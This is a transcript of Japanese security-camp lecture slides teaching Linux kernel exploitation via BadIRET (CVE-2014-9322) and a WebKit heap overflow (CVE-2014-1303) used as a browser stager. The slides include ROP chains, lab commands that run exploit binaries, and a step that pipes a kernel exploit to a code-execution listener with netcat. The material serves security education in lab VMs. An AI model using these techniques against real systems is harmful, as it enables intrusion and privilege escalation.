Pro Yearly is on sale from $80 to $50! »

カーネルエクスプロイトによるシステム権限奪取

 カーネルエクスプロイトによるシステム権限奪取

seccamp17 D2-3 course

194b192123e0671dc9f81647d61411a6?s=128

Ren Kimura

August 15, 2017
Tweet

Transcript

  1. カーネルエクスプロイトによる システム権限奪取 神戸大学大学院 木村 廉 セキュリティキャンプ全国大会 2017 Dトラック(D2-3)

  2. 講義概要 本講義ではOS自体の脆弱性を利用することでより高いシステム権限を奪う、 カーネルエクスプロイト について学習します。 加えてブラウザの脆弱性に対する攻撃を併用する事で、ユーザーからの入力が極度に制限された 環境においても、カーネルエクスプロイトを成功させるテクニックについて学習します。 ※本講義は端末の脱獄、root化を推進するものではありません。

  3. 事前準備 • VM内のレポジトリを最新状態に更新しておいてください $ git clone https://github.com/RKX1209/CVE-2014-9322 badiret $ cd

    ~/webkitexp $ git pull • ゲストOS間でネットワーク構築 http://linux2.g.hatena.ne.jp/lnznt/20120131/1328021979
  4. 事前準備 • 講義用VMの動作確認 Debuggerがデバッグする側のVM。Debuggeeがされる側です。 2つVMを起動してDebuggerからgdbを起動し $ target remote /dev/ttyS0 でアタッチ。Debuggee側で

    $ echo ‘g’ > /proc/sysrq-trigger をするとgdb側に制御が移ります。 (面倒な人はkgdbwaitを付けもらっても大丈夫です。)
  5. 背景知識 Intel x64アーキテクチャ、カーネル、エクスプロイトテクニック

  6. Intel x64メモリアーキテクチャ • x86(64)ではメモリは以下の3種類のアドレスで表される ◦ 論理アドレス(Logical Address) ◦ リニアアドレス(Linear Address)

    ◦ 物理アドレス(Physical Address) • メモリへのアクセスは2段階の変換を経て行われる ◦ セグメント機構(論理->リニアへの変換) ◦ ページング機構(リニア->物理への変換) ◦ 最終的に物理アドレスで実際のメモリへアクセス セグメント機構 (Segment Unit) 論理アドレス (Logical Address) ページング機構 (Pagning Unit) リニアアドレス (Linear Address) 物理アドレス (Physical Address)
  7. Intel x64セグメント機構 • セグメントレジスタの種類 ◦ コードセグメント(CS) %rip == 0x40000 ⇔

    %rip == %cs:0x40000 ◦ データセグメント(DS, ES, FS, GS) movq ($addr), %rcx ⇔ movq (%ds:$addr), %rcx ◦ スタックセグメント(SS) movq (%rsp), %rax ⇔ moq (%ss:%rsp), %rax • 論理アドレスからリニアアドレスへの変換 ◦ セグメントレジスタの値 (セグメントセレクタ)を使って、GDTからセグメントディスクリプタ を参照 ◦ セグメントディスクリプタの base_address+address = リニアアドレス セグメント機構 (Segment Unit) 論理アドレス (Logical Address) ページング機構 (Pagning Unit) リニアアドレス (Linear Address) 物理アドレス (Physical Address)
  8. Intel x64セグメント機構 1. 現在のプログラムカウンタ が%rip==0x1000(%cs:0x1000)とする。 2. CSレジスタの値は0x08 3. GDTのオフセット0x08のセグメントディスクリプタを見る 4.

    セグメントディスクリプタ->base_addressが0x500とする 5. 0x500 + 0x1000 = 0x1500がリニアアドレス 同じ0x1000番地へのアクセスでも、裏に隠れたCSレジスタの 値によって実際にアクセスされるリニアアドレスは変わる。 この仕組みでセグメントという区切りをリニアアドレス空間上 に実現。 http://softwaretechnique.jp/OS_Development/kernel_loader2.html
  9. Intel x64セグメント機構(Linux) Linuxカーネルではメモリ空間の分離は主にページング機構 を利用するため、セグメント機構はほぼ使わない。 CS,DS,SSは全て同じセグメントのアドレスを指している。 論理アドレス == リニアドレスとなる基本フラットモデルという 方式。 https://www.ibm.com/developerworks/jp/linux/library/l-memmod/index.html#b2

    ただしGSレジスタはPER_CPUというCPUの各コアごとに確 保されたメモリ領域の参照につかわれる。 MSR_GS_BASE等のMSR(Model Specific Register)を利 用
  10. Intel x64 リングプロテクション セグメントごとにアクセス権限を設定できる。 カーネルにしかアクセスできないセグメントを作成してユーザー空間 と分離する。 カーネルモード (ring 0) ユーザーモード

    (ring 3) (高) ring 0 > 1 > 2 > 3 (低) https://en.wikipedia.org/wiki/Protection_ring セグメント ベース エンド 権限(DPL) USER_CS 0x00000 0xffffff... ring 3 USER_DS 0x00000 0xffffff... ring 3 KERNEL_CS 0x00000 0xffffff... ring 0 KERNEL_DS 0x00000 0xffffff... ring 0
  11. Linuxカーネルにおけるセグメント切り替え • ユーザー空間(ring 3)とカーネル空間(rint 0)の切り替えタイミング ◦ 割り込み ◦ 例外(システムコールなど )

    ◦ その他... USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) Back to user(iretq) システムコール発行等のイベントが発生すると、CS,DSレジスタの 指すセグメントがカーネル空間の物に切り替わる。 カーネルの処理が終われば再びユーザー空間へ戻る。
  12. Linuxカーネルを対象としたエクスプロイト • カーネル内の処理に脆弱性があれば攻撃対象に ◦ カーネル内のUAF(Use After Free) ◦ カーネルスタックバッファオーバーフロー ◦

    ヒープバッファオーバーフロー ... USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) カーネル内の処理に脆弱性があり、攻撃者が内部の制御を コントロールできれば、ring0の権限のまま任意コード実行も可能。 ring0はほぼ全てのリソースへのアクセスが可能なため、 あるプロセスにroot権限を付与する等も簡単にできる。 KERNEL_CS, KERNEL_DS do EVIL things… KERNEL_CS, KERNEL_DS shellcode
  13. カーネルエクスプロイト実践 BadIRET(CVE-2014-9322)によるシステム妨害(DoS)

  14. BadIRET (CVE-2014-9322) • Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性 ◦ iretq実行時、切り替え先のユーザー空間 SSが不正な値の場合に発生 ◦ x64ではiretq実行完了前に#SS例外が発生 ◦

    Linuxカーネル内のこの#SS例外処理にバグ ◦ swapgsが1度余計に実行される USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) Back to user(iretq)
  15. BadIRET (CVE-2014-9322) • Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性 ◦ iretq実行時、切り替え先の ユーザー空間SSが不正な値の場合に発生 ◦ x64ではiretq実行完了前に#SS例外が発生 ◦

    Linuxカーネル内のこの#SS例外処理にバグ ◦ swapgsが1度余計に実行される USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) Back to user(iretq) %SS=invalid (#SS)
  16. BadIRET (CVE-2014-9322) • Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性 ◦ iretq実行時、切り替え先のユーザー空間 SSが不正な値の場合に発生 ◦ x64ではiretq実行完了前に#SS例外が発生 ◦

    Linuxカーネル内のこの#SS例外処理にバグ ◦ swapgsが1度余計に実行される USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) swapgs
  17. BadIRET (CVE-2014-9322) • Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性 ◦ iretq実行時、切り替え先のユーザー空間 SSが不正な値の場合に発生 ◦ x64ではiretq実行完了前に#SS例外が発生 ◦

    Linuxカーネル内のこの#SS例外処理にバグ ◦ swapgsが1度余計に実行される USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) swapgs swapgs命令はユーザー空間のGSレジスタとカーネル空間のGSレ ジスタをswapする命令。
  18. BadIRET (CVE-2014-9322) • Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性 ◦ iretq実行時、切り替え先のユーザー空間 SSが不正な値の場合に発生 ◦ x64ではiretq実行完了前に#SS例外が発生 ◦

    Linuxカーネル内のこの#SS例外処理にバグ ◦ swapgsが1度余計に実行される USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) swapgs swapgs命令はユーザー空間のGSレジスタとカーネル空間のGSレ ジスタをswapする命令。 GS=USER_GS [BUG] (GS != KERNEL_GS)
  19. BadIRET (CVE-2014-9322) • Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性 ◦ iretq実行時、切り替え先のユーザー空間 SSが不正な値の場合に発生 ◦ x64ではiretq実行完了前に#SS例外が発生 ◦

    Linuxカーネル内のこの#SS例外処理にバグ ◦ swapgsが1度余計に実行される USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) swapgs swapgs命令はユーザー空間のGSレジスタとカーネル空間のGSレ ジスタをswapする命令。 Kernel Panic!
  20. 演習1 カーネルエクスプロイト • BadIRETでカーネルクラッシュを引き起こす $ cd ~/badiret $ make clean

    (初回のみ) $ make $ ./badiret.elf
  21. 演習1 カーネルエクスプロイト • netconsoleでクラッシュ確認

  22. 演習1 カーネルエクスプロイト • ユーザー空間のGSセグメントを設定してみる arch_prctl(2)のARCH_SEG_GSを使うとGSレジスタを変更できる。 arch_prctl(ARCH_SET_GS, 0xdeadbeefcafebabe) https://github.com/RKX1209/CVE-2014-9322 • システムコール番号の探し方

    $ grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h #define __NR_execve 59
  23. 演習1 カーネルエクスプロイト • うまくいけばnetconsoleで以下のようなクラッシュが確認できる

  24. ブラウザエクスプロイト実践 Kernel Exploit Stagerとしてのブラウザ。CVE-2014-1303

  25. Kernel Exploit Stager • ブラウザをカーネルエクスプロイトへつなげるためのstagerとして利用 ◦ エクスプロイトをシステムへインストールする手段が無い場合に利用 (ex. ゲーム機) ◦

    細工されたwebページにアクセスする事でブラウザ上で任意コード実行 ◦ ネットワーク越しにエクスプロイトコードを待ち受けて実行する (いわゆるstager) ◦ 攻撃者はカーネルエクスプロイトを送信し実行させる クライアントマシン (攻撃者) ブラウザ (stager) (4)受信したコードを実行 (3) カーネルエクスプロイトコードを送信 細工されたWebページ (ブラウザエクスプロイト ) (1) ページ閲覧 (2) ブラウザ上で任意コード実行
  26. WebKit Exploit(CVE-2014-1303) • WebKitヒープバッファオーバーフローの脆弱性 ◦ CSSSelectorListというリストが範囲外読み込み (OOB Read)を行うバグ ◦ RuleSet::AddRule()が呼ばれるて、リストにアクセスされる時

    indexが1になっている ◦ indexは1だが、実際にCSSSelectorListの要素数は1つのみ ◦ 存在しないList[1]から読み込みを行ってしまう • 1-bitの範囲外書き込み(OOB Write)も可能 ◦ WebCore::CSSSelector::specify()が、List[1]のあるメンバを1に変える処理を行う ◦ つまり1-bitの1を範囲外に書き込む事が可能 ◦ ArrayBuffer::m_sizeInBytesを0x40から0xC0に書き換える。
  27. CSSSelectorList OOB Read CSSSelectorは1つしか存在しないにも関わらずindex=1で読み込み。 CSSSelector 0x20 Chunk: Free Free Free

    Free
  28. CSSSelectorList OOB Read CSSSelectorは1つしか存在しないにも関わらずindex=1で読み込み。 CSSSelector 0x20 Chunk: CSSSelector Free Free

    Free List[0] List[1]
  29. CSSSelectorList OOB Write List[1]のあるメンバに1を書き込む処理によって1-bitのみOOB Write CSSSelector 0x20 Chunk: CSSSelector Free

    Free Free List[0] List[1]::member = 1
  30. CSSSelectorList OOB Write 0x40サイズのArrayBufferを複数確保(new) CSSSelector 0x20 Chunk: List[0] 0x20 ArrayBuffer

    new ArrayBuffer(0x40); ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer
  31. 1-bit OOB Writeによるm_sizeInByteの書き換え ArrayBufferのサイズは0x40で、bufferの実体は0x40chunkに存在 CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20

    ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer::m_sizeInByte == 0x40
  32. 1-bit OOB Writeによるm_sizeInByteの書き換え List[1]::member=1の書き込みで、ArrayBuffer->m_sizeInByteが0x40->0xC0に。 CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20

    ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer->m_sizeInByte = 0xC0 (1-bit write) ⇔ List[1]::member = 1 オーバーフロー発生。余分に 0x80byte(0xC0-0x40)読み書き可能に
  33. 0x80byteの読み書き 0x80byte余分に読み書き可能。ここで隣のWebCoreObjectに含まれるvtableを読む CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20

    ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer->m_sizeInByte = 0xC0 (1-bit write) vtableはC++のクラスが持つ仮想関数用テーブル。メソッドへの関数ポインタを持っている。 WebCoreObject->vtable
  34. 任意アドレス書き込み/読み込み AAW/AAR • 0x80byteの読み書きからAAW/AARにつなげる ◦ WebCoreObjectはvtableのアドレスをリークすれば不要 ◦ リーク後、WebCoreObjectはfreeして同じ場所にArrayBufferViewをnewで確保 ◦ ArrayBufferView::m_baseAddress

    を0x80byte書きこみを使って変更し AAW/AARへ • WebCore objectをfreeさせる? ◦ JavaScriptは明示的にメモリを開放する freeのようなインターフェースは無い (GCが使われる) ◦ WebCore::NumberInputTypeは以下のコードを実行するとブラウザが freeしてくれる。
  35. 任意アドレス書き込み/読み込み AAW/AAR WebCore::NumberInputを確保 ( var m_input = document.createElement(“input”); ) CSSSelector

    0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 NumberInput ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: WebCore::NumberInput生成
  36. 任意アドレス書き込み/読み込み AAW/AAR WebCore::NumberInputをfreeさせる( m_input.type=””; ) CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer

    0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data Freed ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: WebCore::NumberInputをFree
  37. 任意アドレス書き込み/読み込み AAW/AAR 直後にArrayBufferViewをnewで確保する。 CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer

    0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 ArrayBufferView ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBufferViewを生成。
  38. 任意アドレス書き込み/読み込み AAW/AAR 攻撃者がコントロール可能な広めの領域(0x20000 chunk)を確保 CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20

    ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 ArrayBufferView ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data 0x20000 Chunk:
  39. 任意アドレス書き込み/読み込み AAW/AAR ArrayBufferView::m_baseAddressを0x80byte書きこみで書き換え CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer

    0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 ArrayBufferView ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data 0x20000 Chunk: ArrayBufferView::m_baseAddressを修正
  40. 任意アドレス書き込み/読み込み AAW/AAR ArrayBufferView::m_baseAddressが0x20000 chunkを指すように書き換え CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20

    ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 ArrayBufferView ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data 0x20000 Chunk: この0x20000 chunk領域に攻撃者が好きなコード(shellcode, gadget…)を書き込む
  41. AAW/AARから任意コード実行へ • Return Oriented Programming (ROP) ◦ エクスプロイトの一般的なテクニック ◦ NX-bitなどのコード実行防止機能の

    bypass ◦ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack
  42. AAW/AARから任意コード実行へ • Return Oriented Programming (ROP) ◦ エクスプロイトの一般的なテクニック ◦ NX-bitなどのコード実行防止機能の

    bypass ◦ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack rdx = 4096
  43. AAW/AARから任意コード実行へ • Return Oriented Programming (ROP) ◦ エクスプロイトの一般的なテクニック ◦ NX-bitなどのコード実行防止機能の

    bypass ◦ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack rdx = 4096 rsi = 0x691c000
  44. AAW/AARから任意コード実行へ • Return Oriented Programming (ROP) ◦ エクスプロイトの一般的なテクニック ◦ NX-bitなどのコード実行防止機能の

    bypass ◦ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack rdx = 4096 rsi = 0x691c000 rdi = 0
  45. AAW/AARから任意コード実行へ • Return Oriented Programming (ROP) ◦ エクスプロイトの一般的なテクニック ◦ NX-bitなどのコード実行防止機能の

    bypass ◦ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack rdx = 4096 rsi = 0x691c000 rdi = 0 rax = 0
  46. AAW/AARから任意コード実行へ • Return Oriented Programming (ROP) ◦ エクスプロイトの一般的なテクニック ◦ NX-bitなどのコード実行防止機能の

    bypass ◦ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack rdx = 4096 rsi = 0x691c000 rdi = 0 rax = 0 syscall read(0, 0x691c000, 4096)
  47. AAW/AARから任意コード実行へ • Return Oriented Programming (ROP) ◦ エクスプロイトの一般的なテクニック ◦ NX-bitなどのコード実行防止機能の

    bypass ◦ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack 0x6001e4c: xchg rax, rsp ret (uncontrollable) own stack address
  48. AAW/AARから任意コード実行へ • Return Oriented Programming (ROP) ◦ エクスプロイトの一般的なテクニック ◦ NX-bitなどのコード実行防止機能の

    bypass ◦ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack 0x6001e4c: xchg rax, rsp ret (uncontrollable) own stack address rsp = (own stack address)
  49. AAW/AARから任意コード実行へ 0x20000 chunkにROP gadgetのアドレスを書き込んでおく。 CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20

    ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 ArrayBufferView ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data 0x20000 Chunk: 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0
  50. AAW/AARから任意コード実行へ vtableのアドレスをstack pivot用のgadgetへ。 CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer

    0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 ArrayBufferView ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data 0x20000 Chunk: 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 vtable push rax (== vtable) jmp rax pop rsp
  51. AAW/AARから任意コード実行へ rspにrax(== buf)が設定されてスタックが切り替わりROP開始。 CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer

    0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 ArrayBufferView ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data 0x20000 Chunk: 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 vtable push rax (== vtable) jmp rax pop rsp $rsp ->
  52. 演習2 ブラウザエクスプロイト • エクスプロイトページへWebKitGTKで接続 $ cd ~/webkitexp $ sudo python

    server.py $ cd ~/webkitgtk-2.1.2 $ ./Programs/GtkLauncher http://localhost https://github.com/RKX1209/CVE-2014-1303
  53. 演習2 ブラウザエクスプロイト • エクスプロイトコードを実行してみる ◦ Crash ROP (0xdeadbeefにジャンプしてクラッシュ ) ◦

    Get PID (getpidで取得したPIDを出力) ◦ FileSystem Dump (演習で実装) ◦ Code Execution (ペイロードをポート9023で待ち受けて実行)
  54. 演習2 ブラウザエクスプロイト • ファイルシステムダンプ機能を実装 (webkitexp/scripts/syscall.js) fd = open(“/dev”, 0); getdents(fd,

    buf, 4096); write(0, buf, 4096); を実行させる。 /dev以下のディレクトリをダンプさせる機能を実装。
  55. 演習2 ブラウザエクスプロイト • ファイルシステムダンプ機能を実装 (webkitexp/scripts/syscall.js) rop_chain ROP chain inject_ropcode(rop_chain) ROP

    chain注入 write_str(addrl, addrh, str) addrに文字列strを書き込む syscall(“name”, sys_num, arg1, arg2..) システムコール実行 chainをrop_chainに追加 rawdump(addr, size) addrからsizeバイト標準出力にダンプ webkit_gtk_base_addr_(low|high) libwebkitgtk.soのベースアドレス js_core_base_addr_(low|high) libjavascriptcoregtk.soのベースアドレス ヘルパー関数,変数の説明 (詳細は exploit.html, scripts/roputil.jsを参照)
  56. 演習2 ブラウザエクスプロイト • ブラウザのROP gadgetの探し方 $ rp-lin-x64 --file=./.libs/libwebkitgtk-3.0.so --rop=3 --unique

    webkit_gtk_base_addrからのオフセット表示 $ rp-lin-x64 --file=./.libs/libjavascriptcoregtk-3.0.so --rop=3 --unique js_core_base_addrからのオフセット表示 • システムコール番号の探し方(再掲) $ grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h #define __NR_execve 59
  57. 演習2 ブラウザエクスプロイト • ハマりポイント getdentsシステムコールでは”/dev”をopenしたfdを引数にとりますが、こ れをsyscallヘルパー関数を使って、 syscall(“getdetns”, fd, buf, size)

    とはできません。syscallヘルパー関数に与えられる引数はROP注入前 に静的に決まっている値のみです。(fdはopen実行まで値が決まらない) なので、getdents呼び出しに関しては自力で引数構築からsyscall命令 実行まで行うROP chainを作る必要があります。
  58. 演習2 ブラウザエクスプロイト • ハマりポイント(ヒント) rax: syscall番号, rdi: 第1引数, rsi: 第2引数,

    rdx: 第3引数 openやwriteはヘルパー関数が使えます。 sycall(“open”, nr_open, ….) rawdump(addr, size) openの返り値(rax)がfd。これをgetdentsの第1引数(rdi)に渡してやる には? どんなROP gadgetが使えるでしょうか。
  59. 演習3 ブラウザエクスプロイト+カーネルエクスプロイト • ブラウザのRemote Code Executionでカーネルをクラッシュさせる まずCode Executionをクリック。netstatでポートが開いているか確認。 $ netstat

    -tl tcp 0 0 *:9023 *:* LISTEN badiret.binをポートに送信してブラウザに実行させる $ cat badiret.bin | nc localhost 9023 うまくいけばカーネルクラッシュ。
  60. カーネルエクスプロイト実践 BadIRET(CVE-2014-9322)による権限昇格

  61. BadIRET (CVE-2014-9322) swapgs後に実行されるカーネル内の処理に注目 USER_CS, USER_DS len = read (fd, buf,

    size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) swapgs
  62. BadIRET (CVE-2014-9322) swapgs後に実行されるカーネル内の処理に注目 USER_CS, USER_DS len = read (fd, buf,

    size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) swapgs 290 void do_general_protection(struct pt_regs *regs, long error_code) 291 { 292 struct task_struct *tsk; ... 306 tsk = current; ==> mov %gs:0xc780,%rbx 319 tsk->thread.error_code = error_code; 320 tsk->thread.trap_nr = X86_TRAP_GP;
  63. BadIRET (CVE-2014-9322) • GSレジスタを使用したデータアクセス処理 ◦ iret実行時#SS例外が発生するとbad_iretラベルへ飛ぶ(double fault発生) ◦ swapgsが実行され、%gsにユーザー空間のGSレジスタ値が設定される。 ◦

    do_general_protectionが実行される。 ◦ この中で”current”としてアクセスされるデータ構造に注目 ◦ “current”マクロは%gs:offsetでアクセスされる(ここを調整可能) 290 void do_general_protection(struct pt_regs *regs, long error_code) 291 { 292 struct task_struct *tsk; ... 306 tsk = current; ==> mov %gs:0xc780,%rbx 319 tsk->thread.error_code = error_code; 320 tsk->thread.trap_nr = X86_TRAP_GP;
  64. BadIRET (CVE-2014-9322) • currentを通してアクセスされるデータ構造 ◦ do_general_protectionから呼ばれるforce_sig_info関数に注目 int force_sig_info(int sig, struct

    siginfo *info, struct task_struct *t) { struct k_sigaction *action; … action = &t->sighand->action[sig-1]; action->sa.sa_handler = SIG_DFL; // SIG_DFL == 0 ... } • current->sighand->action[sig-1]->sa.sa_handler = 0 ◦ currentのシグナルハンドラ関係のデータ構造に SIG_DFL(0)を設定する処理 ◦ current(%gs:offset)のアドレスを攻撃者が用意した ダミーのsighandに向ける ◦ ダミーのsighand->action->saを任意アドレスに設定し 0を書き込める
  65. %GSハイジャックから任意アドレス書き込み(8byte 0) GS base current sighand FAKE_PERCPU FAKE_CURRENT Usermode memory

    Kernelmode memory CPU state 8-byteの0をカーネル 内の任意アドレスへ書 き込み可能
  66. 任意アドレス書き込み(8byte 0)から任意コード実行 • 8-byteの0をどこに書き込むか? ◦ IDT(Interrupt Descriptor Table)内の割り込みハンドラを書き換える手法 ▪ PlayStation4(FreeBSD)のjailbreakはこの手法が使われた

